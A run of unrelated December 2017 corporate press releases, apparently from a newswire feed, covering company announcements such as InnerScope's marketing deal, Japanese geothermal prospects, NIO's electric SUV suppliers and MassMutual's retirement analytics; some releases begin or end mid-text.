About Infosys Ltd

Infosys is a global leader in technology services and consulting. We enable clients in 45 countries to create and execute strategies for their digital transformation. From engineering to application development, knowledge management and business process management, we help our clients find the right problems to solve, and to solve these effectively. Our team of over 200,000 innovators, across the globe, is differentiated by the imagination, knowledge and experience, across industries and technologies that we bring to every project we undertake.

Visit http://www.infosys.com to see how Infosys (NYSE: INFY) can help your enterprise thrive in the digital age.

Safe Harbor

Certain statements in this press release concerning our future growth prospects are forward-looking statements regarding our future business expectations intended to qualify for the 'safe harbor' under the Private Securities Litigation Reform Act of 1995, which involve a number of risks and uncertainties that could cause actual results to differ materially from those in such forward-looking statements. The risks and uncertainties relating to these statements include, but are not limited to, risks and uncertainties regarding fluctuations in earnings, fluctuations in foreign exchange rates, our ability to manage growth, intense competition in IT services including those factors which may affect our cost advantage, wage increases in India, our ability to attract and retain highly skilled professionals, time and cost overruns on fixed-price, fixed-time frame contracts, client concentration, restrictions on immigration, industry segment concentration, our ability to manage our international operations, reduced demand for technology in our key focus areas, disruptions in telecommunication networks or system failures, our ability to successfully complete and integrate potential acquisitions, liability for damages on our service contracts, the success of the companies in which Infosys has made strategic investments, withdrawal or expiration of governmental fiscal incentives, political instability and regional conflicts, legal restrictions on raising capital or acquiring companies outside India, and unauthorized use of our intellectual property and general economic conditions affecting our industry. Additional risks that could affect our future operating results are more fully described in our United States Securities and Exchange Commission filings including our Annual Report on Form 20-F for the fiscal year ended March 31, 2017. These filings are available at http://www.sec.gov. Infosys may, from time to time, make additional written and oral forward-looking statements, including statements contained in the company's filings with the Securities and Exchange Commission and our reports to shareholders. In addition, please note that any forward-looking statements contained herein are based on assumptions that we believe to be reasonable as of the date of this press release. The company does not undertake to update any forward-looking statements that may be made from time to time by or on behalf of the company unless it is required by law.

SOURCE Infosys
ROSEVILLE, California, December 19, 2017 /PRNewswire/ --

InnerScope Hearing Technologies Inc. (OTCQB: INND) announced today that it has entered into a Marketing Services Agreement with Market Domination LLC to develop a complete and comprehensive direct-to-consumer marketing platform as part of the company's growth strategy for its e-commerce distribution model of its Hearables/Wearables and Personal Sound Amplification Products (PSAPs). This agreement will provide the company the marketing tools to rapidly grow its presence within the direct-to-consumer hearing technology space, as well as enable the company to further strengthen and enhance its core growth strategy with the appointment of Seth Greene, the founder and CEO of Market Domination LLC, as the outsourced Chief Marketing Officer (CMO) for InnerScope Hearing Technologies.

Effective immediately, Mr. Greene will oversee the Company's brand strategy, marketing operations as well as playing a key role in expanding the company's footprint into several marketing and direct-to-consumer distribution channels. The announcement aligns with the company's continued goal to be the dominant global disruptive innovator within the hearing industry and also reflects the commitment to attract world-class talent.

Seth Greene is a nationally recognized Direct Response Marketing Expert and the author of seven best-selling marketing books. Mr. Greene has been featured on CBS MoneyWatch, CBS news, Inc Magazine, The LA Times, The Boston Globe, The Miami Herald, and the #1 morning radio show in New York City. He has shared the stage with Steve Forbes, John Mackey of Whole Foods, Dan Kennedy, Jeff Mask (Infusionsoft), Dave Dee, Darcy Juarez, Sam Bell, Dustin Matthews, Dave VanHose, Perry Marshall, Brad Martineau, and many other luminaries. Greene is currently is the co-host of the SharkPrenueur podcast with Shark Tank's Kevin Harrington.

"The Agreement with Market Domination LLC, coupled with Mr. Greene as our new outsourced CMO, gives us a distinct advantage over competitors," said Matthew Moore, CEO of InnerScope Hearing Technologies. "Our Company can leverage Market Domination LLC's national exposure and expertise as one of the nation's leading direct marketing companies and we will greatly benefit from Mr. Greene's successful track record and history of bringing record growth to companies with his marketing strategies within the direct-to-consumer segment. Market Domination LLC will develop customized product awareness marketing campaigns with unique branding strategies for the company that effectively fuses the need and the solution for our hearing products to build customer loyalty and retention at every step of their "Journey to Better Hearing". These marketing strategies will allow us to reach the 48 million Americans that have some degree of hearing loss, and are not aware of the many health risks and consequences including cognitive issues, such as Alzheimer's and Dementia related to untreated hearing loss. By teaming with Market Domination LLC, our company is primed to be the leader in this untapped market by offering easy simple access to direct-to-consumer hearing products and solutions."

"This is a great fit and I couldn't be more excited to work with InnerScope Hearing Technologies," said Seth Greene. "I'm looking forward to working directly with their successful and experienced executive team to further their mission in helping the millions of people that need to hear better with direct access to hearing technology products. I am very impressed by the decades of acquired knowledge and the passion that the team possesses in understanding the global need for hearing help and the mission to mitigate the consequences of untreated hearing loss by offering easy access to hearing solutions and technology."

About Market Domination LLC:

Market Domination, LLC is a privately held direct response-marketing company located in Williamsville, NY. The Company was founded by its CEO, Seth Greene nine years ago and has been recognized as one of the fastest growing direct response market firms in the country. The company mission is to provide the highest levels of results-oriented creative, technology, and marketing solutions to maximize business growth for our clients. For more information, please visit marketdominationllc.com .

About InnerScope Hearing Technologies (INND):

InnerScope Hearing Technologies (INND) is a technology driven company with highly scalable B2B and B2C solutions. The Company offers a B2B SaaS based Patient Management System (PMS) software program, designed to improve operations and communication with patients. INND also offers a Buying Group experience for audiology practice, enabling owners to lower product costs and increase their margins. INND will also compete in the DTC (Direct-to-Consumer) markets with its own line of "Hearables", and "Wearables" and revolutionary APPs on the iOS and Android markets.

INND has plans on opening, operating and expanding a chain of audiological and retail hearing device clinics. INND's seasoned team of professionals, with collectively over 200+ years of experience in the hearing aid industry, including successful operations in hearing aid manufacturing and retail store management. Our team has the knowledge, relationships, and the experience to quickly deploy new products and software to serve approximately 1.2 billion people around the globe that are suffering with 25 db or greater hearing loss. For more information, please visit http://www.innd.com .

Safe Harbor

This presentation contains forward-looking statements which relate to future events or InnerScope Hearing Technologies future performance or financial condition. Any statements that are not statements of historical fact (including statements containing the words "believes," "should," "plans," "anticipates," "expects," "estimates" and similar expressions) should also be considered to be forward-looking statements. These forward-looking statements are not guarantees of future performance, condition or results and involve a number of risks and uncertainties. Actual results may differ materially from those in the forward-looking statements as result of a number of factors, including those described from time to time in InnerScope Hearing Technologies filings with the Securities and Exchange Commission. InnerScope Hearing Technologies undertakes no duty to update any forward-looking statements made herein.

Contact:

InnerScope Hearing Technologies, Inc.

Matthew Moore

[email protected]

+1-916-218-4100



http://www.innd.com

SOURCE InnerScope Hearing Technologies, Inc.
LONDON, Dec. 19, 2017 /PRNewswire/ -- The post-Fukushima shutdown of Japan's nuclear reactors and subsequent demand for energy self-sufficiency due to costly fuel imports, coupled with the Japanese government's ambitious emissions reduction targets for 2020, have stimulated growth in new renewable energy sources in the country.

Currently, renewable power accounts for approximately 15% of total electricity generation in Japan, while hydro and solar power occupy a combined 12% share, aided by attractive government subsidies for these technologies.

Although the government has been proactive in recent initiatives to identify and promote potential areas for exploration and development of geothermal power, there has not been any significant development of the technology in the country in the last decade.

In fact, a new whitepaper by Frost & Sullivan underlines that geothermal power contributes a meagre 0.3% to total electricity generation, despite the country possessing the third largest geothermal resource in the world, representing a power generation potential of 23 GW.

While development of the technology at medium and high temperatures is characterised by stagnation, increased investment and technological innovation targeting low-temperature geothermal power (<120C), historically used primarily for heating purposes, are expected to significantly increase the addressable market potential for geothermal power.

Commenting on this new growth market, Ross Bruton, Programme Manager & Principal for Smart Energy Systems at Frost & Sullivan, emphasised that harnessing the potential offered by low-temperature geothermal power will help achieve Japan's power security and emission reduction goals.

The advent of technological innovations is significantly increasing system performance and cost efficiencies at low temperatures, set to boost uptake levels. Mr Bruton commented: "Additional drivers include multi-application benefits for hot spring (onsen) owners, attractive feed-in-tariffs and grant financing offered by government, relaxation of development restrictions in national parks, and a lack of environmental assessment requirements for small scale geothermal power."

"These drivers, combined with improved cooperation at the community level, is expected to set up low-temperature geothermal power as a potential game-changer in the exploitation of the country's geothermal potential, and marks a contributory step towards the establishment of a stable, low-emission power industry in Japan," he added.

Japan's domestic energy crisis is opening up interesting opportunities for foreign companies to contribute to the national geothermal portfolio. However, companies will need to compete against well-established alternative technologies, such as solar photovoltaic, to gain a foothold in the market.

Utham Ganesh, Research Analyst at Frost & Sullivan, points out that "building strong local and community relations represents a key success criterion for project development, due to the strong cultural values attached to hot springs in the country and the resistance shown for fear of environmental impact."

For further insights into the potential of low-temperature geothermal energy in Japan, read the full whitepaper "Japan Onsen Power  New Horizons for Clean Power Generation from Low-Temperature Geothermal Energy" online and download your complimentary copy here.

About Frost & Sullivan

Frost & Sullivan, the Growth Partnership Company, works in collaboration with clients to leverage visionary innovation that addresses the global challenges and related growth opportunities that will make or break today's market participants. For more than 50 years, we have been developing growth strategies for the global 1000, emerging businesses, the public sector and the investment community. Contact us: Start the discussion

For further information, please contact:

Kristina Menzefricke

Corporate Communications - Frost & Sullivan, Europe

P: +44 (0)208 996 8589

E: [email protected]

http://www.frost.com

SOURCE Frost & Sullivan

Related Links

http://www.frost.com


Joel comes to Bourque Logistics with over 25 years of experience in rail transportation technology solutions. Prior to his time at GE Transportation, Joel had various roles at RMI, providing software solutions to railroads and rail shippers. Joel's insights will contribute to a common business strategy of Bourque Logistics and our AEI technology partner, Industrial Networks (INet). Both focusing on providing rail shippers with a cohesive solution for their operations with the YardMaster  Solution. Joel will also support Bourque Logistics' industry leading fleet and freight payment systems, RAILTRAC  and RateServer  , and expand our offerings in new market areas.

"We welcome Joel and his proven rail industry experience to Bourque Logistics," said Steve Bourque, president of Bourque Logistics. "His reputation among rail shippers and short line railroads and deep knowledge of their requirements will aid in promoting complete rail solutions for our customers' evolving requirements."

"I have known Joel for many years and INet is looking forward to formally working with him to provide automated yard and rail fleet operations," said Jimmy Finster, president of INet. "His knowledge of both short line and shipper needs will benefit our current and future clients with our YardMaster Mobile systems."

Used by over 250 industry railyards in North America, Bourque Logistics' and INet's YardMaster Solution is a robust rail operations software integrating shippers to short line and Class 1 railroads. Using mobile AEI readers, the solution fully automates railcar request and release, switching, onsite inventory, order scheduling and rack assignment, railcar inspection, and BOL transmission. In addition, YardMaster provides load and offload optimization by performing load bay verification, advanced outage, and volume correction calculations.

About Bourque Logistics

Headquartered in The Woodlands, Texas, Bourque Logistics has automated rail shipment processes for shippers since 1989 with RAILTRAC, the leading rail fleet and shipment management software for rail shippers.

Bourque Logistics provides a full suite of modules addressing multi-mode shipment operations for loading and shipping, bill of lading submission, tracking and tracing, freight rating and payment, fleet accounting, supply chain management, and custom reporting. Our EDI data services connects shippers with their suppliers, customers, and carriers. Bourque Logistics also provides professional service support for rail fleet expediting and railcar maintenance management.

For more information, visit bourquelogistics.com or watch our company overview videos at youtube.com/bourquelogistics.

About Industrial Networks

Industrial Networks is the leading provider of railyard automation and data acquisition systems for manufacturing and shipping operations in North America. Our expertise touches operations run by rail shippers, short line and Class I railroads, trucking, marine freight, and more. Our close relationship with Bourque Logistics, the leading provider of rail transportation software to shippers in North America, gives us over 75 years of experience providing state-of-the-art rail automation. For more information, visit www.inetlp.com.

YardMaster is a registered trademark of Bourque Data Systems, Inc.

YardMaster Mobile is a registered trademark of Bourque Data Systems, Inc.

Media Contact: Ross Heil Jackson Dawson Bourque Logistics Industrial Networks 281.362.3868 281.419.0796 [email protected] [email protected]

SOURCE Bourque Logistics

Related Links

http://bourquelogistics.com


NEW BRUNSWICK, N.J., Dec. 19, 2017 /PRNewswire/ -- Johnson & Johnson (NYSE: JNJ) will host a conference call for investors at 8:30 a.m. (Eastern Time) on Tuesday, January 23rd, to review fourth-quarter results. Alex Gorsky, Chairman and Chief Executive Officer; Dominic Caruso, Executive Vice President, Chief Financial Officer and Joseph J. Wolk, Vice President, Investor Relations, will host the call.

Investors and other interested parties can access the webcast/conference call in the following ways:

The webcast is accessible at Johnson & Johnson's website: www.investor.jnj.com. A webcast will be available approximately three hours after the conference call concludes.

By telephone: for both "listen-only" participants and those financial analysts who wish to take part in the question-and-answer portion of the call, the telephone dial-in number in the U.S. is 877-869-3847. For participants outside the U.S., the dial-in number is 201-689-8261.

A replay of the conference call will be available until approximately 12:00 a.m. on January 31, 2018 . The replay dial-in number for U.S. participants is 877-660-6853. For participants outside the U.S., the replay dial-in number is 201-612-7415. The replay conference ID number for all callers is 13674606.

on . The replay dial-in number for U.S. participants is 877-660-6853. For participants outside the U.S., the replay dial-in number is 201-612-7415. The replay conference ID number for all callers is 13674606. Presentation materials will be available on www.investor.jnj.com.

The press release will be available at approximately 6:45 a.m. (Eastern Time) the morning of the conference call.

About Johnson & Johnson

Caring for the world, one person at a time, inspires and unites the people of Johnson & Johnson. We embrace research and science - bringing innovative ideas, products and services to advance the health and well-being of people. Our approximately 132,500 employees at more than 250 Johnson & Johnson operating companies work with partners in health care to touch the lives of over a billion people every day, throughout the world.

SOURCE Johnson & Johnson
ENGLEWOOD CLIFFS, N.J., Dec. 19, 2017 /PRNewswire/ -- For the past 30 years, the principals at Kennedy Funding Financial have turned hundreds of commercial real estate loan applications into approvals. That steadfast commitment to the borrower's success has cemented their status in the financing industry as one of the largest hard money lenders in the United States, surpassing $3 billion in closed loans.

"The reason for our success is simple," said Kevin Wolfer, CEO of Kennedy Funding Financial, the direct private lender based in Englewood Cliffs, New Jersey. "When traditional lending institutions tell borrowers no, we find a way to tell them 'yes'. We've bucked the rigid models which have denied so many the opportunity to succeed."

The firm built its lending business on providing creative solutions for funding difficult properties and challenging scenarios. According to Wolfer, a bank or other traditional lending institution has rigid criteria regarding the borrower and the type of deal which can disqualify less-than-perfect applications almost immediately, even if the opportunity they want to fund has the markings of success.

"Borrowers who need money fast, or who have a great opportunity and simply cannot find the funding available from traditional sources are no longer cut off from consideration for a hard money loan. They may be straddled with a problem property, faced with a bad credit history or bankruptcy, or may have a partnership that has gone sour," Wolfer explained. "If an opportunity can stand on its own legs, it doesn't matter if the borrower has a blemish on his or her record."

Kennedy Funding Financial's loans range from $1 million to more than $50 million and have a loan-to-value up to 75 percent. Kennedy specializes in bridge loans for commercial property for all purposes -- land acquisition, development, workouts, foreclosures and bankruptcies.

According to Wolfer, much of Kennedy Funding Financial's growth can be attributed to their "creative" approach to lending and searching for solutions for borrowers which other financial institutions simply can't offer.

"We are willing to go the distance for our clients, and that shows in our results," Wolfer said.

Fast turnaround is essential for many borrowers, and Kennedy Funding Financial has spent years refining their ability to quickly close on the hard money loans they provide. Closings take place within weeks instead of months, and in some cases, it can occur as soon as five days after application.

"We can do this because we know just how time-sensitive hard money loans can be," Wolfer said. "Our in-house management, coupled with appraisers and attorneys with round-the-clock availability, ensure that our sole focus is to secure a hard money loan for our clients as quickly as possible."

Kennedy Funding Financial can also point to its expertise in lending overseas as a contributor to its success. A notoriously difficult market to navigate, traditional and direct private lenders alike tend to shy away from lending on real estate  particularly when there are foreign governments involved who have their own regulatory policies. Not so for Kennedy Funding Financial, which has built an enviable reputation in the industry by successfully closing millions of dollars of loans throughout the Caribbean, Canada, Central America and Europe.

"We are one of the few, if not the only, direct private lenders with the knowledge many borrowers in the international community want or need, since many borrowers look for U.S. backing or experience," Wolfer said. "Our expansion into those global markets has been, and continues to be, a key part of our growth." For Wolfer, surpassing the $3 billion mark isn't just about celebrating a milestone  it demonstrates how a little bit of ingenuity can make a world of difference for borrowers around the world.

"We're not just the most reliable lender in the commercial real estate market  we make a difference in people's lives," Wolfer said. "Borrowers can turn a 'can't' into a 'can' just by calling us."

www.kennedyfunding.com

SOURCE Kennedy Funding Financial

Related Links

http://www.kennedyfunding.com


"Allegro will continue to strengthen its investment in its technical talent and focus on high growth technological segments. Our ability to attract and retain skilled, high-tech talent to our Manchester facility will allow us to further invest in this prime location," said Allegro President and Chief Executive Officer, Ravi Vig. Allegro's facility is conveniently located minutes from the Manchester-Boston Regional Airport, is close to leading New Hampshire and Massachusetts research universities, and is within a one hour radius of the Seacoast, mountains, lakes, and urban environments like downtown Manchester and Boston, making it an attractive location for existing and prospective employees. Allegro currently leases its NH facility through Brady Sullivan and plans to purchase this building in May 2018, which would serve to deepen its roots in the Manchester community.

Allegro's focus on advanced technology, product line expansion and innovation fits well with the business platform provided in New Hampshire. "The Governor and I are fully committed to working with local companies to help them grow their business and attract talent," remarked Taylor Caswell, Commissioner, Department of Business and Economic Affairs. "We are pleased that Allegro has chosen to invest in the Manchester area, and we look forward to their employees enjoying the revitalized mill yards, SNHU Arena, and other benefits of downtown."

Allegro's building expansion was designed by Margulies Perruzzi Architects and is being built by Hutter Construction Corporation with a planned completion date in the summer of 2018. Allegro will employ upwards of 400 people at its Manchester site, many of them engineers.

About Allegro

Allegro MicroSystems, LLC is a leader in developing, manufacturing and marketing high-performance semiconductors. Allegro's innovative solutions serve high-growth applications within the automotive market, with additional focus on office automation, industrial, and consumer/communications solutions. Allegro is headquartered in Worcester, Massachusetts (USA) with design, applications, and sales support centers located worldwide.

Key Facts: Allegro maintains the #1 market leadership position within the magnetic sensor IC technology segment and is ranked 15th in the automobile semiconductor sector. Approximately 25 million units produced by Allegro are shipped weekly throughout North America, Asia and Europe. Further information about Allegro can be found at www.allegromicro.com.

About the NH Department of BEA

The Department of Business and Economic Affairs is dedicated to enhancing the economic vitality of the State of New Hampshire and promoting it as a destination for domestic and international visitors.

SOURCE Allegro MicroSystems, LLC
RESTON, Va., Dec. 19, 2017 /PRNewswire/ -- Leidos (NYSE: LDOS), a FORTUNE 500 science, information technology, and engineering leader, was ranked #38 in the Newsweek Green Rankings 2017 U.S. 500. The company was also named the #1 greenest company in the Information & Technology category. The annual list recognizes the environmental efforts of the nation's largest publicly traded companies.

Newsweek partnered with an independent research organization to assess the sustainability performance of the 500 largest publicly-traded companies headquartered in the U.S. by revenue as of December 31, 2016. Performance was measured using key environmental indicators including energy and water use, Greenhouse gas emissions, waste management, and the company's senior executive team involvement. Leidos' overall green score was 59.3 percent.

"We continuously look for ways to reduce our environmental footprint  both for our enterprise and for our customers," said Roger Krone, Leidos Chairman and Chief Executive Officer. "Our top ranking in the IT Services category aligns with our dedication and ability to create efficient, innovative solutions that address the world's modern challenges with limited impact to the environment."

About Leidos

Leidos is a Fortune 500 science and technology solutions and services leader working to solve the world's toughest challenges in the defense, intelligence, homeland security, civil, and health markets. The company's 32,000 employees support vital missions for government and commercial customers. Headquartered in Reston, Virginia, Leidos reported annual revenues of approximately $7.04 billion for the fiscal year ended December 30, 2016. For more information, visit www.Leidos.com.

Statements in this announcement, other than historical data and information, constitute forward-looking statements that involve risks and uncertainties. A number of factors could cause our actual results, performance, achievements, or industry results to be very different from the results, performance, or achievements expressed or implied by such forward-looking statements. Some of these factors include, but are not limited to, the risk factors set forth in the company's Annual Report on Form 10-K for the period ended December 30, 2016, and other such filings that Leidos makes with the SEC from time to time. Due to such uncertainties and risks, readers are cautioned not to place undue reliance on such forward-looking statements, which speak only as of the date hereof.

SOURCE Leidos

Related Links

http://www.leidos.com


SAN MATEO, Calif., Dec. 19, 2017 /PRNewswire/ -- LimeBike, the largest dockless smart bike sharing company in the US, today released an end of year report on the benefits of bike sharing. The report analyzed data from more than 1 million rides taken and over 35 regional deployments in cities and college campuses across the US. Both national and regional LimeBike data include cities such as Seattle, Washington D.C., Dallas, Miami and many more.

LimeBike shares its aggregated and anonymized data with local officials in many markets to provide transparency, along with valuable insights into transit and commute patterns across local communities. Cities and college campuses are using this data to make improvements for their constituents. For example, LimeBike found that nationwide, 40 percent of rides start or stop at public transit stations. This shows that LimeBike's fleet augments existing public transportation infrastructure and helps cities provide a first and last mile transportation solution.

The report also found that LimeBike rides, on average, cost $5-$7 less per mile than ridesharing and $.59 less per mile than driving. If constituents who typically use ridesharing services to commute to and from work replace just one mile of their daily commute with a LimeBike ride, they'll save $1,300-$1,800 annually.

These findings demonstrate LimeBike's key principles: accessibility, affordability and sustainability. The complete report is an in-depth look into nationwide trends around bike sharing and how these variables impact the future of urban transportation.

The complete report can be found at this link. For more information, visit the LimeBike blog at www.limebike.com/blog.

About LimeBike

LimeBike is revolutionizing mobility in cities and campuses by empowering residents with a greener, more efficient, and affordable transportation option that also improves urban sustainability. By partnering with local key stakeholders and systematically deploying a fleet of smart-bikes that are enabled with GPS, wireless technology, and self-activating locks, LimeBike will dramatically improve urban mobility by making the first and last mile faster, cheaper, and healthier for riders. Funded by Silicon Valley's leading VC firm Andreessen Horowitz, LimeBike is based in San Mateo, CA. Learn more at limebike.com.

SOURCE LimeBike

Related Links

https://www.limebike.com/


CB Insights is an authority on reporting industry trends and emerging companies in artificial intelligence. The company uses machine learning, algorithms and data visualization to explore massive amounts of data of the companies, from social media to patent documents. Its data has been cited 1,500+ times by premiere media outlets, including The New York Times, Bloomberg, The Financial Times, Fortune, TechCrunch and more.

The CB Insights research team selected the AI 100 winners based on a combination of data submitted by the companies, responses to interview questions and the company's Mosaic Score. Mosaic is an algorithm built with funding from the National Science Foundation that gives predictive intelligence into the health of private companies.

"This year's list was culled from 1,000+ applications and looks even more impressive. These are companies using artificial intelligence in industries from drug discovery and cybersecurity to robotics and legal tech. I'm happy that CB Insights is able to shine a light on the founders and companies that will revolutionize these industries and look forward to seeing what they do in 2018 and beyond," said CB Insights CEO Anand Sanwal.

Given more than 2,000 companies were nominated or applied and less than 5% were selected, the competition tended to be quite intense. Only 7 Chinese companies were on the list, and Liulishuo is the only education company among them.

"We are honored to be part of this elite group of emerging 'AI+' technology companies. This award from CB Insights demonstrates the growing recognition of Liulishuo on a global scale," said Dr. Yi Wang, the founder and CEO of Liulishuo. "With the mission of helping everyone become a global citizen, Liulishuo will keep on with the exploration of 'AI+Education', and bring high-quality education resources to more parts of China."

Quick facts on the AI 100:

These 100 emerging private companies have raised $6.6B across 99 deals in 2017.

across 99 deals in 2017. Applications of their technology include breakthroughs in fintech, digital health, auto tech, robotics, and much more.

More than 2,000 companies were nominated or applied and only 5% were selected.

Eleven AI 100 companies have reached a valuation of $1B or more.

or more. Thirty-three companies on the list were also on the list for 2017, with 67 new companies making it for 2018.

Nine countries are represented among the AI 100 companies.

About Liulishuo

Liulishuo is a world's leading AI driven education technology company, founded by Yi Wang, Hui Lin and Ben Hu in September 2012. With a world's leading AI lab, Liulishuo has developed the world's most intelligent and highly effective AI English teacher which provides a personalized and adaptive learning path for every learner based on deep learning technologies. It is proven to triple the learning efficiency compared to human teachers in the CEFR standards.

Its flagship product Liulishuo is the leading English learning app and the most popular language learners' community in China with over 50 million users, covering 379 cities in China and 175 countries around the world. It has been featured by Apple as "Selected Apps of the Year" and "App Store Essentials".

For more information about Liulishuo, visit: https://www.liulishuo.com/en/

SOURCE Liulishuo
Magna is uniquely qualified to support startups under China's environmental plan

environmental plan Supplying ES8 with aluminum body, chassis and the gearboxes for the electric drive system

Combines expertise in powertrains, body and structure, and lightweight materials



SHANGHAI, China, Dec. 18, 2017 /PRNewswire/ - As China's environmental plan takes shape and start-up companies develop and launch their new-energy vehicles, the support of strong and capable suppliers will be essential. The latest example occurred today with new Chinese startup NIO, and the launch of their NIO ES8 electric SUV, a vehicle that comes to market with key systems supplied by Magna.

The NIO ES8 electric SUV has key systems supplied by Magna: the aluminum front sub-frame and rear cradle, the gearboxes for both e-drive systems and the latching system for the side doors and hood. (CNW Group/Magna International Inc.)

The ES8 seats seven, features a lightweight all-aluminum body and chassis, and comes standard with electric-drive (e-drive) systems in the front and rear of the vehicle. Magna's content includes the aluminum front sub-frame and rear cradle, the gearboxes for both e-drive systems and the latching system for the side doors and hood.

Magna possesses unique capabilities and experience to support the growth of new-energy vehicles in China and globally. A technology leader across several automotive product areas, Magna is able to combine expertise in hybrid and electric powertrains, a vehicle's overall body and structure, and lightweighting solutions using a range of both metallic and plastic/composite materials.

"Supporting a new automaker and launch such as the NIO ES8 electric SUV is ideally suited for Magna," said Magna's Chief Technology Officer Swamy Kotagiri. "We are able to apply our full-vehicle expertise to help make the vehicle lightweight while at the same time helping deliver power to the wheels in the most efficient way. Working with our customers to help bring their ideas to life is really what Magna is all about."

NIO is a Chinese start-up founded in 2014 that designs and develops smart, high-performance electric vehicles under the NIO brand.

TAGS

NIO NIO ES8, electric vehicles, lightweight body and chassis, hood latches

ABOUT MAGNA

We are a leading global automotive supplier with 328 manufacturing operations and 99 product development, engineering and sales centres in 29 countries. We have over 163,000 employees focused on delivering superior value to our customers through innovative products and processes, and world class manufacturing. We have complete vehicle engineering and contract manufacturing expertise, as well as product capabilities which include body, chassis, exterior, seating, powertrain, active driver assistance, vision, closure and roof systems. We also have electronic and software capabilities across many of these areas. Our common shares trade on the Toronto Stock Exchange (MG) and the New York Stock Exchange (MGA). For further information about Magna, visit our website at www.magna.com.

THIS RELEASE MAY CONTAIN STATEMENTS WHICH CONSTITUTE "FORWARD-LOOKING STATEMENTS" UNDER APPLICABLE SECURITIES LEGISLATION AND ARE SUBJECT TO, AND EXPRESSLY QUALIFIED BY, THE CAUTIONARY DISCLAIMERS THAT ARE SET OUT IN MAGNA'S REGULATORY FILINGS. PLEASE REFER TO MAGNA'S MOST CURRENT MANAGEMENT'S DISCUSSION AND ANALYSIS OF RESULTS OF OPERATIONS AND FINANCIAL POSITION, ANNUAL INFORMATION FORM AND ANNUAL REPORT ON FORM 40-F, AS REPLACED OR UPDATED BY ANY OF MAGNA'S SUBSEQUENT REGULATORY FILINGS, WHICH SET OUT THE CAUTIONARY DISCLAIMERS, INCLUDING THE RISK FACTORS THAT COULD CAUSE ACTUAL EVENTS TO DIFFER MATERIALLY FROM THOSE INDICATED BY SUCH FORWARD-LOOKING STATEMENTS. THESE DOCUMENTS ARE AVAILABLE FOR REVIEW ON MAGNA'S WEBSITE AT WWW.MAGNA.COM.

SOURCE Magna International Inc.

Related Links

http://www.magna.com


SAN MATEO, Calif., Dec. 18, 2017 /PRNewswire/ -- Marketo, Inc., the leading provider of engagement marketing software and solutions, announced today the most-watched topics from its extensive library of free Marketo University training courses and released 26 new videos. Since the online education program launched earlier this year, marketers from around the world have watched more than 26,000 minutes of content, with "Developing a Content Marketing Strategy" as the number one video, followed by "Creating and Running a Webinar" and "Building a Scheduled Email Campaign."

"The thousands of people from around the world who have accessed our Marketo University trainings validate our commitment to making the best education resources available to all marketers," said Toby Emerson, vice president, education services, Marketo. "With our latest release, any marketer, regardless of background or skillset, has access to a total of 50 digital marketing videos to help them succeed in the Engagement Economy."

The latest self-paced courses cover everything from using A/B testing to improving email performance to customizing creative assets. All are accessible via the Marketo University section of Marketo's website, with additional videos to be added over the next two months.

This is the third major education announcement that Marketo has made in 2017, following the release of its redesigned curriculum, new courses, and new certification exam in March and the initial launch of free courses in April at the Marketing Nation Summit.

Marketers are encouraged to register today for next year's Marketing Nation Summit in San Francisco from April 29  May 2, 2018. There they can attend Marketo University Day, take the Marketo Certified Expert Exam, and explore Marketo Specializations. Marketo University Day's beginner, intermediate, and advanced learning tracks give attendees the opportunity to explore best practices, hear from our experts, and learn from their peers.

About Marketo

Marketo, Inc., offers the leading Engagement Platform that empowers marketers to create lasting relationships and grow revenue. Consistently recognized as the industry's innovation pioneer, Marketo is the trusted platform for thousands of CMOs thanks to its scalability, reliability, and openness. Marketo is headquartered in San Mateo, CA, with offices around the world, and serves as a strategic partner to large enterprise and fast-growing organizations across a wide variety of industries. To learn more about the Marketo Engagement Platform, LaunchPoint partner ecosystem, and the vast community that is the Marketing Nation, visit www.marketo.com.

SOURCE Marketo, Inc.
SPRINGFIELD, Mass., Dec. 19, 2017 /PRNewswire/ -- Dipping into retirement savings early, suspending contributions to 401(k) plans or both is projected to reduce workers' retirement savings on average by 14 percent, delaying retirements and costing employers more for salaries and benefits as their workforce ages, according to new analytic capabilities introduced by Massachusetts Mutual Life Insurance Co. (MassMutual).

"MassMutual's new analytic capabilities show there's a real cost to employers as well as employees related to specific behaviors that reduce retirement savings and impair the ability of employees to retire sooner rather than later," said Josh Mermelstein, Head of Retirement Readiness Solutions. "We are expanding our analytics capabilities to help employers and their financial advisors project these costs and take appropriate actions to keep retirement savings on target."

MassMutual, through its Viability Advisory Group, provides tools and analysis to help employers and their financial advisors evaluate the potential costs and liabilities associated with the under-utilization of retirement savings plans, specifically if employees lack sufficient savings to replace 75 percent of their pre-retirement income at age 65. The analysis also helps employers measure the inherent value of 401(k)s and other defined contribution retirement plans when they are utilized to their fullest.

Now, MassMutual is introducing new capabilities to calculate employers' potential liabilities associated with behaviors that interrupt retirement savings, including taking loans or hardship withdrawals, suspending salary deferrals, or opting out of behavioral finance initiatives such as automatic enrollment or automatic deferral. Such behaviors can push back retirements by years, necessitating that workers stay on the job long after the traditional retirement age of 65.

For example, a typical 40-year-old worker who is currently on target to retire at age 65 but then borrows 30 percent of the savings in his 401(k) could potentially reduce his available retirement income by 15 percent and delay his retirement by five years, according to MassMutual's analysis.

The Age Variable

The impact of behaviors that negatively affect retirement readiness varies with age, MassMutual's data shows, with younger employees most likely to participate in as well as suffer the most from such activities. A 29-year-old employee who is on target to retire at age 65 but then takes a hardship withdrawal reduces his or her retirement-readiness by 20 percent on average, according to MassMutual's analytics. Meanwhile, a 60-year-old employee who is on target to retire and withdraws the same amount typically reduces his or her retirement readiness by 3 percent on average. The loss of retirement readiness reflects the value of lost interest earnings on the withdrawal before retirement, taxes and penalties, as well as a six-month suspension in salary deferrals, which typically happens when retirement plan participants withdraw savings.

MassMutual calculates the impact of activities that impair retirement readiness by using an employer's own salary, benefits and retirement savings data. The underlying assumptions for specific behaviors are based on a benchmark created with data from the National Bureau of Economic Research1, the Employee Benefits Research Institute2, American Benefits Institute3, the United States Department of Labor4, and MassMutual's own experience with retirement plans.

Interruptions to retirement savings can be costly for both employees and employers. A reduction in retirement readiness may require an employee to continue working past age 65, Mermelstein explained. That typically increases an employer's costs for salaries, health and disability insurance benefits as workers remain in the workforce at older ages, he said.

Projecting the cost of behaviors that can erode retirement savings and reduce retirement-readiness enables employers to better manage their retirement plans by:

Deciding whether to allow or limit the ability of employees to take loans or withdrawals from their retirement savings;

Ensuring retirement savings incentives such as matching contributions are used as intended, to help workers better prepare for retirement;

Educating workers about the negative effects of loans, withdrawals and deferral suspensions on their ability to retire and encourage them to avoid such behaviors;

Providing programs that educate workers about financial issues such as budgeting, debt management, retirement planning and related topics; and

